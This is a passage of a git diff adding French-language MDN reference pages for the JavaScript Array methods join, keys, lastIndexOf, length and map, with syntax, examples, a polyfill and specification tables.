+<p>Dans l'exemple suivant, on effectue la fusion sur un objet semblable à un tableau (<code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments">arguments</a></code>) en appelant {{jsxref("Function.prototype.call")}} sur <code>Array.prototype.join</code>.</p>
+
+<pre class="brush: js">function f(a, b, c) {
+  var s = Array.prototype.join.call(arguments);
+  console.log(s);
+}
+f(1, 'a', true); // '1,a,true'
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.join")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.join()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/keys/index.html b/files/fr/web/javascript/reference/objets_globaux/array/keys/index.html
new file mode 100644
index 0000000000..b9907b9340
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/keys/index.html
@@ -0,0 +1,87 @@
+---
+title: Array.prototype.keys()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/keys
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>keys()</strong></code> renvoie un nouvel objet <code><strong>Array Iterator</strong></code> qui contient les clefs pour chaque indice du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-keys.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.keys()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet itérateur pour {{jsxref("Array")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_simple">Utilisation simple</h3>
+
+<pre class="brush:js">var arr = ["a","b","c"];
+var itérateur = arr.keys();
+
+console.log(itérateur.next()); // { value: 0, done: false }
+console.log(itérateur.next()); // { value: 1, done: false }
+console.log(itérateur.next()); // { value: 2, done: false }
+console.log(itérateur.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="Un_itérateur_de_clés_prend_en_compte_les_trous">Un itérateur de clés prend en compte les trous</h3>
+
+<pre class="brush: js">var arr = ["a", , "c"];
+var clésCreuses = Object.keys(arr);
+var clésDenses = [...arr.keys()];
+console.log(clésCreuses); // ["0", "2"]
+console.log(clésDenses);  // [0, 1, 2]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.keys")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">Les protocoles d'itération</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/lastindexof/index.html b/files/fr/web/javascript/reference/objets_globaux/array/lastindexof/index.html
new file mode 100644
index 0000000000..cc7d68a61a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/lastindexof/index.html
@@ -0,0 +1,167 @@
+---
+title: Array.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/lastIndexOf
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>lastIndexOf()</strong></code> permet de renvoyer le dernier indice pour lequel une valeur donnée est présente dans un tableau. Si la valeur recherchée n'est pas présente, le résultat sera -1. Lors de la recherche, le tableau est parcouru dans le sens des index décroissants, à partir de l'index <code>indexDébut</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-lastindexof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.lastIndexOf(<var>élémentRecherché</var>)
+<var>arr</var>.lastIndexOf(<var>élémentRecherché</var>, <var>indexDébut</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>élémentRecherché</code></dt>
+ <dd>L'élément à qu'on cherche dans le tableau.</dd>
+ <dt><code>indexDébut</code> {{optional_inline}}</dt>
+ <dd>L'index à partir duquel commencer la recherche dans le tableau (la recherche s'effectuant à l'envers). Si le paramètre est absent, sa valeur par défaut sera la longueur du tableau moins 1 (c'est-à-dire <code>arr.length - 1</code>), le tableau sera alors parcouru dans sa totalité. Si l'index est plus grand ou égal à la longueur du tableau, le tableau sera parcouru en entier. Si l'index est négatif, la recherche commencera d'autant d'éléments à partir de la fin du tableau. À noter que, même si l'index est négatif, la recherche s'effectuera toujours de la fin jusqu'au début du tableau. Si l'index calculé est inférieur à 0, la méthode renverra -1 et le tableau ne sera pas parcouru.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le dernier index auquel on trouve la valeur dans le tableau, -1 si elle n'est pas trouvée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>lastIndexOf</code> compare <code>élémentRecherché</code> aux éléments contenus dans le tableau en utilisant une <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)">égalité stricte</a> (l'égalité utilisée par l'opérateur ===).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_lastIndexOf">Utiliser <code>lastIndexOf</code></h3>
+
+<p>Dans l'exemple suivant, on utilise <code>lastIndexOf</code> afin de situer une valeur dans un tableau.</p>
+
+<pre class="brush: js">var tableau = [2, 5, 9, 2];
+tableau.lastIndexOf(2);     // 3
+tableau.lastIndexOf(7);     // -1
+tableau.lastIndexOf(2, 3);  // 3
+tableau.lastIndexOf(2, 2);  // 0
+tableau.lastIndexOf(2, -2); // 0
+tableau.lastIndexOf(2, -1); // 3</pre>
+
+<h3 id="Trouver_toutes_les_occurrences_dun_élément">Trouver toutes les occurrences d'un élément</h3>
+
+<p>L’exemple suivant utilise <code>lastIndexOf</code> pour trouver tous les index (<code>indices</code>) d’un élément dans un tableau donné, en utilisant {{jsxref("Array.prototype.push", "push")}} pour les ajouter dans un autre tableau quand ils sont trouvés.</p>
+
+<pre class="brush: js">var indices = [];
+var tableau = ['a', 'b', 'a', 'c', 'a', 'd'];
+var élément = 'a';
+var idx = tableau.lastIndexOf(élément);
+while (idx !== -1) {
+  indices.push(idx);
+  idx = (idx &gt; 0 ? tableau.lastIndexOf(élément, idx - 1) : -1);
+}
+
+console.log(indices);
+// [4, 2, 0]</pre>
+
+<p>Remarquez que nous avons dû traiter le cas de <code>idx === 0</code> séparément (<code>idx &gt; 0</code>) parce que l’élément sera toujours trouvé, indépendamment du paramètre de <code>fromIndex</code>, si c’est le premier élément du tableau. C’est une différence avec la méthode {{jsxref("Array.prototype.indexOf", "indexOf")}}.</p>
+
+
+<h2 id="Prothèse_démulation_polyfill">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p><code>lastIndexOf</code> a été ajouté avec la cinquième édition du standard ECMA-262 ; il peut donc ne pas être présent dans tous les navigateurs web. Vous pouvez contourner ce problème en insérant le code suivant au début de vos scripts. Il vous permettra d'utiliser <code>lastIndexOf</code> avec les navigateurs qui ne le supportent pas nativement. L'algorithme qui suit est le même que celui spécifié par ECMAScript 5 si {{jsxref("Object", "Object")}}, {{jsxref("TypeError", "TypeError")}}, {{jsxref("Number", "Number")}}, {{jsxref("Math.floor")}}, {{jsxref("Math.abs")}}, et {{jsxref("Math.min")}} n'ont pas été modifiés et conservent leurs valeurs originales.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.15
+// Reference: http://es5.github.io/#x15.4.4.15
+if (!Array.prototype.lastIndexOf) {
+  Array.prototype.lastIndexOf = function(searchElement /*, fromIndex*/) {
+    'use strict';
+
+    if (this === void 0 || this === null) {
+      throw new TypeError();
+    }
+
+    var n, k,
+      t = Object(this),
+      len = t.length &gt;&gt;&gt; 0;
+    if (len === 0) {
+      return -1;
+    }
+
+    n = len - 1;
+    if (arguments.length &gt; 1) {
+      n = Number(arguments[1]);
+      if (n != n) {
+        n = 0;
+      }
+      else if (n != 0 &amp;&amp; n != (1 / 0) &amp;&amp; n != -(1 / 0)) {
+        n = (n &gt; 0 || -1) * Math.floor(Math.abs(n));
+      }
+    }
+
+    for (k = n &gt;= 0 ? Math.min(n, len - 1) : len - Math.abs(n); k &gt;= 0; k--) {
+      if (k in t &amp;&amp; t[k] === searchElement) {
+        return k;
+      }
+    }
+    return -1;
+  };
+}</pre>
+
+<p>On notera que cette implémentation vise une compatibilité absolue de <code>lastIndexOf</code> dans Firefox et le moteur JavaScript SpiderMonkey, incluant plusieurs cas très particuliers. Si vous comptez l'utiliser dans une application, vous devriez pouvoir calculer <code>from</code> avec un code beaucoup moins compliqué.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.15', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.lastIndexOf")}}</p>
+</div>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li>À partir de Firefox 47 ({{geckoRelease(47)}}), cette méthode ne renverra plus <code>-0</code>. Ainsi, <code>[0].lastIndexOf(0, -0)</code> renverra toujours <code>+0</code> (cf. {{bug(1242043)}}).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/length/index.html b/files/fr/web/javascript/reference/objets_globaux/array/length/index.html
new file mode 100644
index 0000000000..b586607721
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/length/index.html
@@ -0,0 +1,123 @@
+---
+title: Array.prototype.length
+slug: Web/JavaScript/Reference/Objets_globaux/Array/length
+tags:
+  - Array
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/length
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>length</strong></code> (longueur) est un entier non-signé de 32 bits qui indique le nombre d'éléments présents dans le tableau. Elle est toujours supérieure au plus grand indice du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-length.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur de la propriété <code>length</code> est un entier de signe positif dont la valeur est inférieure à 2 à la puissance 32 (2<sup>32</sup>).</p>
+
+<pre class="brush: js notranslate">var tableauA = new Array(4294967296); // 2 à la puissance 32 = 4294967296
+var tableauC = new Array(-100) // une valeur négative
+
+console.log(tableauA.length); // RangeError: Invalid array length
+console.log(tableauC.length); // RangeError: Invalid array length
+
+var tableauB = [];
+tableauB.length = Math.pow(2,32)-1; // On déclare une longueur inférieure à 2 puissance 32
+console.log(tableauB.length); // 4294967295
+</pre>
+
+<p>Vous pouvez modifier la propriété <code>length</code> d'un tableau à loisir pour le tronquer. Quand vous étendez un tableau en modifiant la valeur de sa propriété <code>length</code>, le nombre d'éléments réellement présents dans ce tableau n'augmente pas : par exemple, si vous affectez la valeur 3 à la propriété <code>length</code> d'un tableau alors qu'elle vaut 2, le tableau contiendra toujours seulement 2 éléments. La troisième « case » ne sera pas itérable. De ce fait, la propriété <code>length</code> d'un tableau ne renseigne en rien sur le nombre de valeurs définies dans le tableau. Voir aussi <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array#Relation_entre_length_et_les_propri.C3.A9t.C3.A9s_num.C3.A9riques">la relation entre longueur et propriétés numériques</a>.</p>
+
+<pre class="brush: js notranslate">const arr = [1, 2, 3];
+console.table(arr);
+// [1, 2]
+
+arr.length = 5; // On définit une longueur à 5
+console.table(arr);
+// [1, 2, &lt;3 éléments vides&gt;]
+
+arr.forEach(element =&gt; console.log(element));
+// 1
+// 2
+</pre>
+
+<p>{{js_property_attributes(1,0,0)}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Renvoyer_la_longueur_dun_tableau">Renvoyer la longueur d'un tableau</h3>
+
+<pre class="brush: js notranslate">var items = ["chaise", "bureau", "table", "sac"];
+items.length; // 4
+</pre>
+
+<h3 id="Parcourir_un_tableau">Parcourir un tableau</h3>
+
+<p>Dans l'exemple suivant, on itère sur le tableau <code>nombres</code> en utilisant la propriété <code>length</code> afin de connaître son nombre d'élément. La valeur de chaque élément est ensuite multipliée par deux :</p>
+
+<pre class="brush:js notranslate">var nombres = [1,2,3,4,5];
+
+for (var i = 0; i &lt; nombres.length; i++) {
+  nombres[i] *= 2;
+}
+// nombres vaut maintenant [2,4,6,8,10];
+</pre>
+
+<h3 id="Tronquer_un_tableau">Tronquer un tableau</h3>
+
+<p>L'exemple suivant raccourcit le tableau <code>etatsUS</code> à 50 si sa longueur actuelle est supérieure à 50.</p>
+
+<pre class="brush:js notranslate">if (etatsUS.length &gt; 50) {
+   etatsUS.length = 50;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.length")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/map/index.html b/files/fr/web/javascript/reference/objets_globaux/array/map/index.html
new file mode 100644
index 0000000000..2cdabaddba
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/map/index.html
@@ -0,0 +1,215 @@
+---
+title: Array.prototype.map()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/map
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/map
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>map()</strong></code> crée un nouveau tableau avec les résultats de l'appel d'une fonction fournie sur chaque élément du tableau appelant.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-map.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var nouveauTableau = arr</var>.map(<var>callback</var> [, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction qui est utilisée pour créer un élément du nouveau tableau. Elle utilise trois arguments :
+ <dl>
+  <dt><code>valeurCourante</code></dt>
+  <dd>La valeur de l'élément du tableau à traiter.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>L'index de l'élément qui est traité par la fonction.</dd>
+  <dt><code>tableau</code>{{optional_inline}}</dt>
+  <dd>Le tableau sur lequel on a appelé la méthode <code>map</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>La valeur à utiliser pour <code>this</code> lors de l'exécution de <code>callback</code>. La valeur par défaut est l'objet global de l'environnement (<code>Window</code> pour un navigateur).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouveau tableau composé des images de la fonction de rappel.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Lorsqu'on utilise <code>map</code>, la fonction <code>callback</code> fournie en argument est exécutée une fois pour chacun des éléments du tableau, dans l'ordre du tableau. Chaque résultat de l'opération sur un élément sera un élément du nouveau tableau. La fonction <code>callback</code> est appelée uniquement pour les indices du tableau pour lesquels il y a des valeurs affectées (y compris si cette valeur est {{jsxref("undefined")}}). Si les valeurs ont été supprimées ou qu'elles n'ont jamais été initialisées, la fonction ne sera pas appelée.</p>
+
+<p><code>callback</code> est appelée avec trois arguments : la valeur de l'élément du tableau, l'index de cet élément et l'objet {{jsxref("Array")}} qui est parcouru.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> <code>map()</code> construit un nouveau tableau. Si on utilise cette méthode sans utiliser le résultat, mieux vaudra utiliser <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/forEach">forEach</a></code> ou <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code>.  Pour mieux décider si <code>map()</code>est adéquat, regardez si vous utilisez la valeur de retour et/ou si vous renvoyez une valeur avec la fonction <code>callback</code> : si ce n'est pas le cas, il ne faut pas utiliser <code>map()</code>.</p>
+</div>
+
+<p>Si le paramètre <code>thisArg</code> est utilisé, il sera utilisé en tant que <code>this</code> par la fonction <code>callback</code> lorsqu'elle sera appelée. S'il n'est pas utilisé, ce sera la valeur {{jsxref("undefined")}} qui sera utilisée pour définir <code>this</code>. La valeur <code>this</code> finalement prise en compte par la fonction <code>callback</code> est définie <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">selon les règles usuelles qui déterminent la valeur <code>this</code> observée par une fonction</a>.</p>
+
+<p><code>map</code> ne modifie pas le tableau sur lequel elle est appelée (bien que la fonction <code>callback</code>, si elle est appelée, puisse modifier le tableau).</p>
+
+<p>La liste des éléments à traiter lors de l'opération <code>map</code> est définie avant le premier appel à <code>callback</code>. Les éléments qui sont ajoutés au tableau après que l'appel à <code>map</code> ait été initié ne seront pas traités par la fonction <code>callback</code>. Si des éléments ont été modifiés, la valeur utilisée par la fonction <code>callback</code> sera celle au moment où <code>map</code> est utilisée. Les éléments qui sont supprimés ne sont pas traités. De la même façon, si on applique <code>map</code> sur un tableau dont certains éléments sont indéfinis, le résultat possèdera également les mêmes éléments indéfinis.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Créer_un_tableau_des_racines_carrées_d'un_tableau_de_nombre">Créer un tableau des racines carrées d'un tableau de nombre</h3>
+
+<p>Dans l'exemple suivant, on crée un tableau composé des racines carrées des éléments d'un premier tableau :</p>
+
+<pre class="brush: js">var nombres = [1, 4, 9];
+var racines = nombres.map(Math.sqrt);
+// racines vaut désormais [1, 2, 3]
+// nombres vaut toujours [1, 4, 9]
+</pre>
+
+<h3 id="Créer_un_tableau_de_nombres_avec_une_fonction_à_un_argument">Créer un tableau de nombres avec une fonction à un argument</h3>
+
+<p>Ici, on illustre le fonctionnement de <code>map</code> avec une fonction à un argument. Cet argument sera automatiquement remplacé par chaque élément du tableau au fur et à mesure que <code>map</code> parcourt le tableau :</p>
+
+<pre class="brush: js">var nombres = [1, 4, 9];
+var doubles = nombres.map(function(num) {
+  return num * 2;
+});
+// doubles vaut désormais [2, 8, 18].
+// nombres vaut toujours [1, 4, 9]
+</pre>
+
+<h3 id="Utiliser_map_pour_changer_le_format_d'objets_dans_un_tableau">Utiliser <code>map</code> pour changer le format d'objets dans un tableau</h3>
+
+<p>Dans le code qui suit, on utilise un tableau d'objets pour créer un autre tableau contenant de nouveaux objets dans un autre format :</p>
+
+<pre class="brush: js">var tableauOrig = [{clé:1, valeur:10}, {clé:2, valeur:20}, {clé:3, valeur: 30}];
+var tableauFormaté = tableauOrig.map(obj =&gt; {
+  var rObj = {};
+  rObj[obj.clé] = obj.valeur;
+  return rObj;
+});
+// tableauFormaté vaut maintenant [{1:10}, {2:20}, {3:30}],
+// tableauOrig vaut toujours
+// [{clé:1, valeur:10},
+//  {clé:2, valeur:20},
+//  {clé:3, valeur: 30}
+// ]
+</pre>
+
+<h3 id="Utiliser_map_de_façon_générique">Utiliser <code>map</code> de façon générique</h3>
+
+<p>Dans cet exemple, on voit comment utiliser la fonction <code>map</code> sur une chaîne de caractères pour obtenir un tableau contenant les codes ASCII des valeurs encodées :</p>
+
+<pre class="brush: js">var map = Array.prototype.map;
+var a = map.call('Hello World', function(x) { return x.charCodeAt(0); });
+// a vaut désormais [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
+</pre>
+
+<h3 id="Utiliser_map_avec_querySelectorAll">Utiliser <code>map</code> avec <code>querySelectorAll</code></h3>
+
+<p>Dans cet exemple, on illustre comment utiliser la méthode map de façon générique, sur un tableau d'objets collectés grâce à <code>querySelectorAll</code> :</p>
+
+<pre class="brush: js">var elems = document.querySelectorAll('select option:checked');
+var values = Array.prototype.map.call(elems, function(obj) {
+  return obj.value;
+});
+</pre>
+
+<p>On aurait également pu utiliser la méthode {{jsxref("Array.from()")}} qui permet de produire un tableau à partir d'un objet itérable.</p>
+
+<h3 id="Un_résultat_inattendu">Un résultat inattendu</h3>
+
+<p><a href="https://www.wirfs-brock.com/allen/posts/166">Exemple inspiré par ce billet</a> (en anglais)</p>
+
+<p>Il est fréquent d'utiliser la fonction <code>callback</code> avec un seul argument (l'élément en cours). Certaines fonctions natives sont également souvent appelées avec un unique argument même si elles peuvent prendre en compte plusieurs arguments. En combinant ces deux « habitudes », on peut obtenir certains résultats inattendus :</p>
+
+<pre class="brush: js">// Si on utilise :
+['1', '2', '3'].map(parseInt);
+// On s'attend à obtenir [1, 2, 3]
+// Le résultat qu'on obtient est en fait [1, NaN, NaN]
+
+// parseInt est souvent utilisé avec un argument mais il
+// peut être utilisé avec deux arguments
+// Le premier correspond à l'expression à parser et le second
+// à la base dans laquelle convertir
+// Array.prototype.map passe 3 arguments à callback :
+// l'élément, l'index et le tableau
+// Le troisième argument sera ignoré par parseInt mais pas le
+// deuxième, ce qui donnera ce résultat étrange
+
+function returnInt(element) {
+  return parseInt(element, 10);
+}
+
+['1', '2', '3'].map(returnInt); // [1, 2, 3]
+// Le résultat qu'on obtient avec la fonction auxiliaire
+
+['1', '2', '3'].map(parseInt);  // [1, NaN, NaN]
+// car map passe trois argument à la fonction et que parseInt
+// considère le second argument comme base.
+// En détails :
+// Premier élément :   "1" à l'indice 0 : parseInt("1",0); donne 1
+// Deuxième élément :  "2" à l'indice 1 : parseInt("2",1); donne NaN
+// Troisième élément : "3" à l'indice 2 : parseInt("3",2); donne NaN
+
+
+// Formulation équivalente plus concise avec
+// une fonction fléchée
+['1', '2', '3'].map( str =&gt; parseInt(str));
+
+// Une autre méthode, plus simple
+['1', '2', '3'].map(Number); // [1, 2, 3]
+// à la différence de parseInt, cela fonctionnera pour les
+// nombres décimaux ou en notation exponentielle
+['1.1', '2.2e2', '3e300'].map(Number); // [1.1, 220, 3e+300]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.19', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.map")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>L'objet {{jsxref("Map")}}</li>
